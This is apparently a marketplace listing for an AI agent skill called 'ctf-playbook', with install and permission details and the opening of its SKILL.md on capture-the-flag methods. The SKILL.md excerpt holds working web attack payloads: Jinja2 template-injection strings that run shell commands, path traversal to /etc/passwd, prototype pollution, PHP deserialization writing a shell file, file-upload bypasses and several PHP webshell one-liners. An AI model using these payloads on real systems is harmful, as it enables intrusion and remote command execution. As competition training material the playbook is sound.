Skip to content
Agentmart
Submit a tool

ctf-playbook

CTF (Capture The Flag) competition playbook — Web, Crypto, Reverse Engineering, PWN/Binary Exploitation, Forensics, Steganography, OSINT, and Misc categories.

Skill by Wang200935

IndexedMIT★ 4
Write a review

Chalk Labs

Need help deploying ctf-playbook?

Chalk Labs sets up agents like this inside real teams: connected to your tools, tested on your data, with a human in the loop where it matters.

Book a call

Install

Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.

npx agentmarket install skill/wang200935-ctf-playbook

Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.

Get the weekly diff

The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.

We use your email only for this newsletter. Privacy

About

CTF (Capture The Flag) competition playbook — Web, Crypto, Reverse Engineering, PWN/Binary Exploitation, Forensics, Steganography, OSINT, and Misc categories. Covers methodology, tools, common vulnerabilities, and exploit patterns for each CTF category.

Use cases: finance

No reviews yet. Installed it? Reviews come from verified installers only. How reviews work

Permissions

What this skill can do and what it asks for, from its SKILL.md and code. Checked Nov 1, 2026.

Tools
No tools found
Secrets
None asked for
Install scripts
None found

Network hosts it talks to 1

  • codeload.github.com · found in install command

Files it touches

  • ~/.claude/skills/ctf-playbook

What's inside

Skill name
ctf-playbook
Description
CTF (Capture The Flag) competition playbook — Web, Crypto, Reverse Engineering, PWN/Binary Exploitation, Forensics, Steganography, OSINT, and Misc categories. Covers methodology, tools, common vulnerabilities, and exploit patterns for each CTF category.
License
MIT
Metadata
hermes_origin: import
Instructions
249 lines in SKILL.md · view on GitHub

Before installing

  • Instructions call the network

Files (35)

  • SKILL.md
  • advanced-rsa-attacks.md · references/
  • advanced-stack-exploitation.md · references/
  • authenticated-encryption-attacks.md · references/
  • awesome-ctf-tools.md · references/
  • bash-restriction-bypass.md · references/
  • blockchain--cryptocurrency-crypto.md · references/
  • cross-architecture-pwn.md · references/
  • ctf-automation-script.md · references/
  • ctf-workflow-methodology.md · references/
  • deep-knowledge-references.md · references/
  • ecc-deep-attacks.md · references/
  • elliptic-curve-cryptography-ecc-attacks.md · references/
  • forensics.md · references/
  • fsop--file-stream-oriented-programming.md · references/
  • gdbpwndbg-advanced.md · references/
  • hash-attacks.md · references/
  • historical-ciphers--specialized-attacks.md · references/
  • integer-overflow--type-confusion.md · references/
  • kernel-exploitation.md · references/
  • lattice-based-attacks.md · references/
  • lattice-cryptography-deep-dive.md · references/
  • mitigation-bypass-techniques.md · references/
  • osint-in-ctf-context.md · references/
  • pitfalls.md · references/
  • pwn--binary-exploitation.md · references/
  • pwntools-advanced-usage.md · references/
  • python-sandbox-bypass.md · references/
  • quantum--post-quantum.md · references/
  • reverse-engineering.md · references/
  • side-channel--fault-attacks.md · references/
  • steganography.md · references/
  • symmetric-cryptanalysis.md · references/
  • v8browser-exploitation.md · references/
  • zkp--protocol-attacks.md · references/

SKILL.md (first lines)

# CTF Playbook

Comprehensive playbook for CTF competitions. Each category has its methodology, tools, common challenges, and exploit patterns.

## Category Quick Reference
| Category | Common tools | Typical challenges |
|:---------|:-------------|:-------------------|
| **Web** | Burp Suite, curl, Python requests | SQLi, XSS, SSTI, LFI, SSRF, deserialization, JWT |
| **Crypto** | Python, SageMath, CyberChef, RsaCtfTool | RSA, AES, padding oracle, hash collisions, classical ciphers |
| **Reverse Engineering** | Ghidra, IDA Free, radare2, gdb, angr | Binary analysis, obfuscation, packing, custom VMs |
| **PWN** | pwntools, gdb/pwndbg, ROPgadget, checksec | Buffer overflow, ROP, format string, heap exploitation |
| **Forensics** | binwalk, foremost, volatility, Wireshark, strings | File carving, memory forensics, PCAP analysis, disk images |
| **Steganography** | steghide, zsteg, stegsolve, exiftool, binwalk | Image stego, audio stego, LSB, metadata |
| **OSINT** | Google dorking, Shodan, WHOIS, social media | Geolocation, image analysis, social engineering |
| **Misc** | Everything else | Programming, logic puzzles, game hacking, protocols |

---

## WEB
### Quick Start — The Web Checklist

```
1. View page source (Ctrl+U) — comments, hidden fields, debug info
2. Check robots.txt, sitemap.xml, .git/, .env, .DS_Store
3. Check all cookies, localStorage, sessionStorage
4. Check HTTP headers (X-Powered-By, Server, Set-Cookie)
5. Try default credentials (admin:admin, admin:password)
6. Test for SQLi in every parameter
7. Test for SSTI if {{7*7}} appears in output
8. Test for LFI with ../../etc/passwd
9. Check file upload for unrestricted types
10. Look for JWT tokens — try alg:none, weak secrets
```

### Common CTF Web Vulnerabilities

```python
# SSTI quick check — if {{7*7}} outputs 49, SSTI exists
SSTI_CHECK = '{{7*7}}'

# Flask/Jinja2 RCE
JINJA2_RCE = "{{ cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}"
JINJA2_RCE_ALT = "{{ config.__class__.__init__.__globals__['os'].popen('cat /flag*').read() }}"

# PHP type juggling
PHP_MAGIC_HASH = '240610708'  # == 'QNKCDZO' in PHP loose comparison
PHP_TYPE_JUGGLE = {
    '0e12345': '0e67890',  # both evaluate to 0 in scientific notation
    'NULL': 'array() == NULL in PHP < 8',
}

# Node.js prototype pollution
NODE_PROTO = '{"__proto__":{"isAdmin":true}}'
NODE_PROTO2 = '{"constructor":{"prototype":{"isAdmin":true}}}'

# Deserialization
PHP_UNSERIALIZE_POP = '''
O:8:"Example1":1:{s:10:"cache_file";s:14:"/tmp/shell.php";}
'''
```

### File Upload Bypass Techniques

```python
FILE_UPLOAD_BYPASS = {
    'double_extension': 'shell.php.jpg',
    'null_byte': 'shell.php%00.jpg',
    'mime_bypass': "Content-Type: image/jpeg (with .php content)",
    'magic_bytes': 'GIF89a;\\n<?php system($_GET["cmd"]); ?>',  # starts with GIF header
    'svg_xss': '<svg/onload=alert(1)>',
    'phar_file': 'Create .phar archive with PHP payload',
    'htaccess': 'Upload .htaccess to execute custom extensions',
    'polyglot': 'Create files valid as both image and PHP',
}

# PHP webshell one-liner (for file upload challenges)
PHP_WEBSHELLS = [
    '<?php system($_GET["cmd"]); ?>',
    '<?php echo shell_exec($_GET["cmd"]); ?>',
    '<?=`$_GET[0]`?>',  # shortest
    '<script language="php">system($_GET[0]);</script>',
]
```

---

## CRYPTO
### Classical Ciphers

```python
# Caesar cipher
def caesar(text: str, shift: int) -> str:
    result = []
    for c in text:
        if c.isalpha():
            base = ord('A') if c.isupper() else ord('a')
            result.append(chr((ord(c) - base + shift) % 26 + base))
        else:
            result.append(c)
    return ''.join(result)

# Vigenère cipher
def vigenere(text: str, key: str, decrypt: bool = True) -> str:
    result = []
    key_idx = 0
    for c in text:
        if c.isalpha():
            base = ord('A') if c.isupper() else ord('a')
            shift = ord(key[key_idx % len(key)].upper()) - ord('A')
            if decrypt:
                shift = -shift
            result.append(chr((ord(c) - base + shift) % 26 + base))
            key_idx += 1
        else:
            result.append(c)
    return ''.join(result)

# XOR cipher
def xor_decrypt(data: bytes, key: bytes) -> bytes:

From Wang200935/security-agent-skills, MIT.

More from Wang200935/security-agent-skills

Signals

Stars
4
Forks
1
Open issues
0
Last commit (this folder)
Aug 12, 2026 (2 months ago)
Last release
Aug 13, 2026 (2 months ago)

From GitHub (fetched Oct 24, 2026).

Details

License
MIT
First seen
Oct 24, 2026
Last checked
Oct 24, 2026

More from Wang200935

Done for you

Rather not set it up yourself?

Chalk Labs scopes, builds and runs agents for your team: the task audit, the eval harness, the integrations and the weekly ops report. Fixed scope, priced before we start.

See how we build AI agents →Read the case studies

Chalk Labs is a two-founder AI and growth studio. We build AI agents, CRMs and MVPs for Web3 and AI companies, and have shipped 50+ product and token launches.

launches shipped
50+
launches shipped
media placements
500+
media placements
founders on every account
2
founders on every account

Press we've placed: Forbes · CoinDesk · Decrypt · Cointelegraph · The Block

Rahil Jain, Co-founder, Chalk Labs. Ex-Goldman Sachs engineer. You talk to the person who builds it.

Get ctf-playbook running in your business

Tell us what you want to automate. A founder replies within one working day with a plan, not a pitch deck.

Goes to the Chalk Labs founders, not the newsletter. Privacy

Need help deploying ctf-playbook?

CallGet help
Cite this page

ctf-playbook skill. Agent Mart. https://agentmart.dev/skills/wang200935-ctf-playbook (last updated 2026-10-24)